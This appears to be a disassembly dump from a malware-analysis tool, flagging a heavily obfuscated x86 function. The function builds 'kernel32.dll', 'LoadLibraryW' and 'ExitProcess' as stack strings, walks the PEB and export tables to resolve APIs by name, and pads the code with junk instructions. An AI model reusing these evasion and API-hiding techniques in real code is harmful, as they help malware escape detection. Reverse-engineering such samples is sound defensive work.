Function at 0x50caf7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3c0], eax
push ecx
push edi
add esp, 4
add ecx, 0xeedf
xor ecx, 0x10015
or ecx, 0x16f1
pop ecx
push esi
and esi, 0x12909
sub esi, 0x12975
and esi, 0x1079e
and esi, 0x17ee9
pop esi
mov ecx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x14b8], ecx
push edx
push edi
add esp, 4
or edx, 0x31d0
pop edx
push eax
add eax, 0x17be7
add eax, 0x2055
or eax, 0xb788
sub eax, 0x143b9
pop eax
push eax
push esi
add esp, 4
or eax, 0x11496
pop eax
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x14b8], edx
mov edx, dword [ebp - 0x3c0]
mov dword [ebp - 0x1ef8], edx
mov eax, dword [ebp - 0x1ef8]
add eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x3c0], eax
push ecx
push ecx
add esp, 4
xor ecx, 0x5dec
jmp 0x50c4f4
jmp 0x50c4fc
pop ecx
push edx
push edx
add esp, 4
sub edx, 0x7943
and edx, 0x261a
pop edx
push edi
jmp 0x50c515
pop edi
mov byte [ebp - 0xb78], 0x52
mov byte [ebp - 0xb77], 0xb9
mov byte [ebp - 0xb76], 0x10
mov byte [ebp - 0xb75], 0x10
mov byte [ebp - 0xb74], 0x10
mov byte [ebp - 0xb73], 0x10
mov byte [ebp - 0xb72], 0x5a
push ebx
push ecx
add esp, 4
and ebx, 0x12046
or ebx, 0xd68e
and ebx, 0xb338
and ebx, 0x1794e
pop ebx
push edx
add edx, 0xe77a
add edx, 0x4287
or edx, 0xcd5d
pop edx
mov byte [ebp - 0xb80], 0x52
mov byte [ebp - 0xb7f], 0xb9
mov byte [ebp - 0xb7e], 0x20
mov byte [ebp - 0xb7d], 0x20
mov byte [ebp - 0xb7c], 0x20
mov byte [ebp - 0xb7b], 0x20
mov byte [ebp - 0xb7a], 0x5a
push ecx
push eax
add esp, 4
sub ecx, 0x6dc2
pop ecx
push esi
push ebx
add esp, 4
and esi, 0x172fc
add esi, 0xf9f7
pop esi
push ecx
or ecx, 0xbcf4
or ecx, 0x4b55
and ecx, 0x2d08
pop ecx
mov dword [ebp - 0x1fa4], 0xe
push eax
push ecx
add esp, 4
add eax, 0xc28a
sub eax, 0x52ce
and eax, 0xb5ca
xor eax, 0xa77e
pop eax
push ecx
add ecx, 0xa05e
and ecx, 0x7dd5
sub ecx, 0x1413e
pop ecx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb78]
mov dword [ebp - 0x14bc], eax
push ebx
push ecx
add esp, 4
sub ebx, 0x1104
add ebx, 0x5f9f
call 0x50c64b
add byte [edx], dh
dec esp
inc ebp
inc ecx
cmp eax, dword [edi - 0x7d]
les eax, [ebx + ebx*2]
push ebx
xor ebx, 0x12e98
jmp 0x50c65e
pop ebx
mov dword [ebp - 0x1fa8], 0xffffffff
push eax
push esi
add esp, 4
or eax, 0x949f
add eax, 0xcd67
jmp 0x50c680
pop eax
push edi
push edx
add esp, 4
jmp 0x50c68b
add edi, 0xb2de
jmp 0x50c69a
pop edi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x50c6b8
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push esi
call 0x50c6c8
add byte [edi + 0x41], al
dec eax
dec ebp
inc esi
inc esp
dec esp
inc ebp
dec ecx
add esp, 4
add esi, 0x352c
pop esi
push edi
push edi
add esp, 4
jmp 0x50c6dd
or edi, 0x15add
sub edi, 0x15f08
pop edi
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x50c732
push ebx
push ecx
add esp, 4
xor ebx, 0xcd2d
pop ebx
push esi
add esi, 0x2d2c
pop esi
push ebx
push edx
add esp, 4
or ebx, 0x154bb
or ebx, 0x9255
or ebx, 0xf636
and ebx, 0x129a1
pop ebx
jmp 0x50c960
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push eax
or eax, 0x14562
pop eax
push ecx
push ebx
add esp, 4
xor ecx, 0x8f4d
pop ecx
push ebx
push eax
add esp, 4
or ebx, 0x8f1a
or ebx, 0x9966
sub ebx, 0x1a4d
or ebx, 0x60da
pop ebx
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x50c7e1
push edi
push ecx
add esp, 4
or edi, 0x10c38
or edi, 0xee88
or edi, 0x12622
pop edi
push eax
xor eax, 0x10282
or eax, 0xbf1d
and eax, 0x17305
add eax, 0xa68c
pop eax
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x50c912
cmp dword [ebp - 0xc08], 0
jle 0x50c906
push edi
sub edi, 0x6a12
pop edi
push edx
push ebx
add esp, 4
or edx, 0xada1
or edx, 0xaf69
pop edx
push ecx
push ecx
add esp, 4
add ecx, 0x14195
or ecx, 0xa812
or ecx, 0x77d5
pop ecx
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x50c8a2
cmc
invalid
push edx
add edx, 0x6bd2
xor edx, 0xbcd2
pop edx
push ebx
push eax
add esp, 4
call 0x50c858
add byte [edx + 0x38], cl
xor al, 0x4e
dec edi
dec eax
inc edx
cmp dword [esi - 0x7d], eax
les eax, [ecx + eax*4]
jecxz 0x50c82c
push ss
add dword [eax], eax
xor ebx, 0x11414
pop ebx
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x50c88a
mov dword [ebp - 0x14c0], 1
jmp 0x50c894
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x50c906
push ebx
push ebx
add esp, 4
sub ebx, 0x184cb
pop ebx
push eax
add eax, 0xc776
xor eax, 0x9841
call 0x50c8ca
add byte [eax + 0x41], dl
dec ebp
push eax
inc eax
xor al, 0x32
aas
cmp eax, dword [ebx - 0x177efb3c]
mov dh, 0xcc
add byte [eax], al
pop eax
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x50c7e1
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x50c95b
push edi
add edi, 0x10268
sub edi, 0x11f2a
and edi, 0x17496
or edi, 0x8854
pop edi
push edx
push eax
add esp, 4
sub edx, 0x4372
sub edx, 0x5d28
sub edx, 0x154b
pop edx
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x50c99c
jmp 0x50c6a9
push edx
push ebx
add esp, 4
xor edx, 0x471
xor edx, 0x3445
xor edx, 0xda91
xor edx, 0xa377
pop edx
push eax
and eax, 0x163d0
add eax, 0x127a5
or eax, 0x15237
pop eax
mov dword [ebp - 0x3cc], 0
push ebx
and ebx, 0xecaa
pop ebx
push esi
push edi
add esp, 4
sub esi, 0x17ce5
xor esi, 0x922b
add esi, 0x45e6
pop esi
push edx
push ecx
add esp, 4
add edx, 0xc31
xor edx, 0x155ba
pop edx
push esi
push edx
add esp, 4
and esi, 0x10f12
pop esi
push edi
xor edi, 0xcded
sub edi, 0x10963
pop edi
push ebx
push ebx
add esp, 4
or ebx, 0x182c4
add ebx, 0xe750
or ebx, 0xb8c6
pop ebx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push ecx
call 0x50ca25
add byte [ebp + 0x43], al
aaa
inc esi
push eax
cmp eax, 0x834e3233
les eax, [ebx + ebp*8]
add esi, dword [esi]
xor eax, 0x5bc9814f
cld
add byte [eax], al
call 0x50ca43
add byte [edi + 0x37], cl
dec eax
dec esi
cmp dword [edx], esi
cmp byte [ebx], bh
dec ecx
add esp, 4
pop ecx
mov dword [ebp - 0x1fac], 0xffffffff
push esi
jmp 0x50ca58
add esi, 0xd4b0
call 0x50ca6c
add byte [edi], dh
xor eax, dword [ecx + 0x42]
aas
cmp byte [ecx], bh
add esp, 4
call 0x50ca7f
add byte [eax + 0x43], dl
xor bh, byte [0x3e50364c]
inc ebx
xor eax, 0x5e04c483
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x50caa0
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push eax
and eax, 0x4434
sub eax, 0x2051
call 0x50cabc
add byte [ecx], bh
dec ebp
dec esp
cmp eax, 0x3a344642
inc ebx
add esp, 4
pop eax
push ebx
push ebx
add esp, 4
add ebx, 0x15745
xor ebx, 0xddb7
pop ebx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x50cb1a
push eax
and eax, 0x12536
call 0x50caf7
add byte [esi + 0x36], cl
xor cl, byte ds:[eax + 0x40]
add esp, 4
or eax, 0x11de2
pop eax
push ecx
and ecx, 0x201e
jmp 0x50cb0e
xor ecx, 0x11766
pop ecx
jmp 0x50cd48
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push edx
push edx
add esp, 4
add edx, 0x211b
sub edx, 0x12dff
xor edx, 0x160d5
pop edx
push edi
and edi, 0x722b
and edi, 0x26a
pop edi
push ebx
push ecx
add esp, 4
or ebx, 0x140d3
pop ebx
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x50cbc9
push edx
push eax
add esp, 4
add edx, 0xe22a
xor edx, 0x6dd6
add edx, 0x17807
or edx, 0x6f6c
pop edx
push ecx
sub ecx, 0x10fe
or ecx, 0xb306
or ecx, 0x7667
pop ecx
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x50ccfa
cmp dword [ebp - 0xc10], 0
jle 0x50ccee
push edi
or edi, 0x6397
call 0x50cbec
add byte [eax + edi + 0x4f], al
xor edi, dword [ecx]
dec edi
cmp bh, byte [esi]
inc eax
add esp, 4
jmp 0x50cbf6
pop edi
push esi
jmp 0x50cc01
jmp 0x50cc07
pop esi
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x50cc8a
push ecx
push esi
add esp, 4
call 0x50cc32
add byte [ebx + ecx*2 + 0x49], cl
cmp al, byte [ebx + 0x41]
inc edx
cmp al, 0x3b
add esp, 4
sub ecx, 0xaa8a
add ecx, 0xd13
pop ecx
push eax
add eax, 0x153e6
xor eax, 0x300e
pop eax
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x50cc72
mov dword [ebp - 0x14cc], 1
jmp 0x50cc7c
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x50ccee
push ebx
xor ebx, 0x9fef
xor ebx, 0x349e
call 0x50cca4
add byte [ecx + 0x3c], cl
dec ecx
push eax
dec edx
dec ebx
aas
add esp, 4
xor ebx, 0xb6f2
pop ebx
push eax
add eax, 0x13b92
add eax, 0xda55
pop eax
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x50cbc9
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x50cd43
push esi
and esi, 0x1045d
pop esi
push esi
xor esi, 0x14e5d
or esi, 0x6a4b
pop esi
push edi
sub edi, 0x1138e
pop edi
push edx
and edx, 0x8454
pop edx
push edx
push ebx
add esp, 4
or edx, 0x14887
pop edx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x50cd84
jmp 0x50ca91
push edx
add edx, 0x14f95
jmp 0x50cd58
pop edx
push esi
push ecx
add esp, 4
jmp 0x50cd67
and esi, 0x242
sub esi, 0xac1b
add esi, 0xf3c0
pop esi
mov dword [ebp - 0xa5c], 0
push esi
add esi, 0x103ca
pop esi
push ecx
push edi
add esp, 4
or ecx, 0xfe05
pop ecx
push ebx
push eax
add esp, 4
add ebx, 0x132c4
and ebx, 0xdb19
xor ebx, 0xe5f8
add ebx, 0xa2cc
pop ebx
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push esi
push eax
add esp, 4
call 0x50ce1b
add byte [edi + ecx*2 + 0x39], al
dec esi
dec ecx
add esp, 4
pop esi
push esi
jmp 0x50ce29
or esi, 0x302e
sub esi, 0xce1b
sub esi, 0x14f97
pop esi
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push edx
sub edx, 0xa502
pop edx
push edi
push eax
add esp, 4
xor edi, 0x5e73
pop edi
push edx
push esi
add esp, 4
sub edx, 0x132aa
and edx, 0xf94d
sub edx, 0x15293
and edx, 0xb547
pop edx
push edx
push edx
add esp, 4
or edx, 0x773a
add edx, 0x16c38
pop edx
push ecx
add ecx, 0xba88
add ecx, 0x15555
pop ecx
push esi
push edx
add esp, 4
jmp 0x50cf31
jmp 0x50cf38
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push edi
push esi
add esp, 4
add edi, 0x8ff0
pop edi
push ecx
push edx
add esp, 4
xor ecx, 0x10cc6
xor ecx, 0x26c4
pop ecx
push edi
or edi, 0x4384
pop edi
push edx
push edx
add esp, 4
and edx, 0x10bb0
pop edx
cmp dword [ebp - 0x14d4], 0
jne 0x50cfab
mov dword [ebp - 0x2e0], 0
jmp 0x50d267
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push esi
push esi
add esp, 4
sub esi, 0xc8f9
or esi, 0x17f50
call 0x50cfdd
add byte [edi + 0x50], al
xor edi, dword [esi]
xor al, 0x36
dec esi
add esp, 4
xor esi, 0x151cf
pop esi
push esi
and esi, 0xaef4
pop esi
cmp dword [ebp - 0xc20], 0
jne 0x50d007
mov dword [ebp - 0x2e0], 0
jmp 0x50d267
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push ebx
push ecx
add esp, 4
or ebx, 0xaed2
or ebx, 0x7284
pop ebx
push esi
push edi
add esp, 4
xor esi, 0x14fa2
pop esi
push ebx
add ebx, 0x47a4
jmp 0x50d03e
add ebx, 0xcfb2
pop ebx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push ebx
push eax
add esp, 4
jmp 0x50d07c
call 0x50d08a
add byte [eax + 0x3e], dl
inc ecx
inc eax
dec ecx
inc edi
inc ecx
inc edi
add esp, 4
call 0x50d09a
add byte [esp + esi], dh
inc eax
xor eax, dword [eax + 0x3f]
xor eax, 0x8104c483
retf
push edi
push edx
add esp, 4
and edi, 0x14bca
jmp 0x50d27b
xor edi, 0xbab6
pop edi
push eax
push edx
add esp, 4
add eax, 0x166c5
or eax, 0x802e
jmp 0x50d298
pop eax
cmp dword [ebp - 0x2e0], 0
jne 0x50dbb2
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push edi
push ebx
add esp, 4
sub edi, 0x631
xor edi, 0x31bf
xor edi, 0x119a5
and edi, 0xf70d
pop edi
push esi
push ecx
add esp, 4
and esi, 0x9bf
pop esi
push eax
or eax, 0x435f
pop eax
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ecx
xor ecx, 0x1132c
and ecx, 0x11901
pop ecx
push edx
sub edx, 0x14ace
add edx, 0x15faf
call 0x50d41b
add byte [ebp + 0x32], cl
cmp dword [edi], esi
inc esi
inc ebx
dec eax
add esp, 4
sub edx, 0x3f4f
pop edx
cmp dword [ebp - 0x14dc], 0
jne 0x50d43d
mov dword [ebp - 0x6ec], 0
jmp 0x50d6f9
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push eax
push edi
add esp, 4
or eax, 0x2fb5
sub eax, 0x775f
add eax, 0x9d80
add eax, 0xa326
pop eax
push edx
or edx, 0x1217c
pop edx
push ebx
push ecx
add esp, 4
xor ebx, 0x763e
pop ebx
cmp dword [ebp - 0xc2c], 0
jne 0x50d499
mov dword [ebp - 0x6ec], 0
jmp 0x50d6f9
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push ebx
jmp 0x50d4ad
add ebx, 0x13548
call 0x50d4c2
add byte [esi + esi + 0x45], al
inc ecx
dec edi
cmp byte [esi + 0x3f], al
inc edx
add esp, 4
call 0x50d4d3
add byte [edx + 0x36], al
dec esp
cmp dword [esi + 0x44], ecx
dec esi
cmp byte [ebx - 0x72a4fb3c], al
xchg ebp, eax
xor al, 0xe9
invalid
push esi
push ebx
add esp, 4
add esi, 0x277d
xor esi, 0x2166
or esi, 0x46ad
and esi, 0x79b9
pop esi
push ecx
push ecx
add esp, 4
jmp 0x50d722
pop ecx
push edx
jmp 0x50d72a
pop edx
cmp dword [ebp - 0x6ec], 0
jne 0x50d775
push ecx
push ecx
add esp, 4
sub ecx, 0x4170
or ecx, 0xea82
or ecx, 0x113ac
add ecx, 0x1103
pop ecx
push esi
add esi, 0x2ccc
sub esi, 0x851a
and esi, 0x166a4
pop esi
mov dword [ebp - 0x738], 0
jmp 0x50e29c
push eax
push eax
add esp, 4
add eax, 0x7d33
and eax, 0x7f4a
pop eax
push ecx
push edx
add esp, 4
jmp 0x50d794
add ecx, 0x37d2
or ecx, 0x726d
sub ecx, 0x4122
pop ecx
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x50d7e6
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x50dad7
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x50d80e
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x50dad7
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x50d840
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x50dad7
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x50d865
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x50dad7
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x50d8bf
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x50dacb
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x50d92f
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x50d9e1
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x50d9e1
push ecx
push edx
add esp, 4
and ecx, 0xb798
pop ecx
push ecx
push ecx
add esp, 4
or ecx, 0xce01
pop ecx
push ebx
add ebx, 0x448c
xor ebx, 0x17e12
pop ebx
push ecx
push esi
add esp, 4
or ecx, 0x9c49
pop ecx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x50d9d3
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x50d9da
jmp 0x50d920
jmp 0x50d9e1
push esi
push edi
add esp, 4
or esi, 0x10188
or esi, 0x8ca7
call 0x50da01
add byte [esp + esi], dh
inc ecx
dec ebp
dec edi
dec ecx
inc ebp
dec esi
add esp, 4
xor esi, 0x8749
pop esi
push ebx
and ebx, 0x13ef2
pop ebx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x50da40
mov dword [ebp - 0xc30], 0
jmp 0x50daaf
push eax
push edi
add esp, 4
and eax, 0xba30
sub eax, 0x13503
pop eax
push esi
xor esi, 0xfe2a
jmp 0x50da61
pop esi
push edi
or edi, 0x2c50
pop edi
push eax
add eax, 0x119bc
pop eax
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x50daa5
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x50daaf
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x50dac6
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x50dad7
jmp 0x50d8b0
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x50dbb2
push edi
sub edi, 0x15005
call 0x50daf9
add byte [edx + 0x4f], cl
dec edx
inc edx
cmp ecx, dword [esp + esi + 0x4e]
add esp, 4
jmp 0x50db01
add edi, 0xe5a7
pop edi
push esi
or esi, 0x12651
sub esi, 0x1747a
pop esi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push ecx
push edx
add esp, 4
or ecx, 0x181cc
xor ecx, 0x1315f
or ecx, 0x16a47
xor ecx, 0xdb89
pop ecx
push edx
xor edx, 0x2097
xor edx, 0x177d5
sub edx, 0xea83
pop edx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x50dbb2
push ebx
jmp 0x50db7b
call 0x50db88
add byte [esi], dh
inc edi
dec esp
dec ebp
xor bh, byte [edx]
add esp, 4
pop ebx
push ebx
push eax
add esp, 4
call 0x50db9f
add byte [ecx + 0x40], al
aaa
xor eax, 0x503a4c46
add esp, 4
pop ebx
mov dword [ebp - 0x738], 0
jmp 0x50e29c
push edx
push edx
add esp, 4
sub edx, 0x123d3
sub edx, 0xc83d
call 0x50dbd2
add byte [ebx], dh
cmp eax, 0x43333637
inc edi
cmp eax, dword [ebx + 0x575a04c4]
sub edi, 0x10e46
xor edi, 0x9013
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push eax
call 0x50dc1c
add byte [edi + 0x32], cl
dec eax
push eax
aaa
dec eax
xor eax, 0x4c4834f
or eax, 0x10ba2
pop eax
push ebx
sub ebx, 0x1496d
pop ebx
push esi
jmp 0x50dc36
sub esi, 0x5211
pop esi
cmp dword [ebp - 0x14f4], 0
jne 0x50dc55
mov dword [ebp - 0x2e0], 0
jmp 0x50defc
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push esi
or esi, 0x7e95
sub esi, 0xc08
pop esi
push eax
push ecx
add esp, 4
call 0x50dc87
add byte [edi], dh
aaa
cmp eax, 0x46434c37
add esp, 4
xor eax, 0x5975
pop eax
push edx
sub edx, 0xb5e2
pop edx
cmp dword [ebp - 0xc3c], 0
jne 0x50dcb1
mov dword [ebp - 0x2e0], 0
jmp 0x50defc
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push esi
or esi, 0x9924
call 0x50dcd3
add byte [esi + 0x45], al
dec ebx
inc edx
dec ecx
cmp eax, dword ss:[eax + 0x3f]
add esp, 4
sub esi, 0x6ed6
or esi, 0xd758
pop esi
push eax
push ecx
add esp, 4
sub eax, 0x16dc4
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
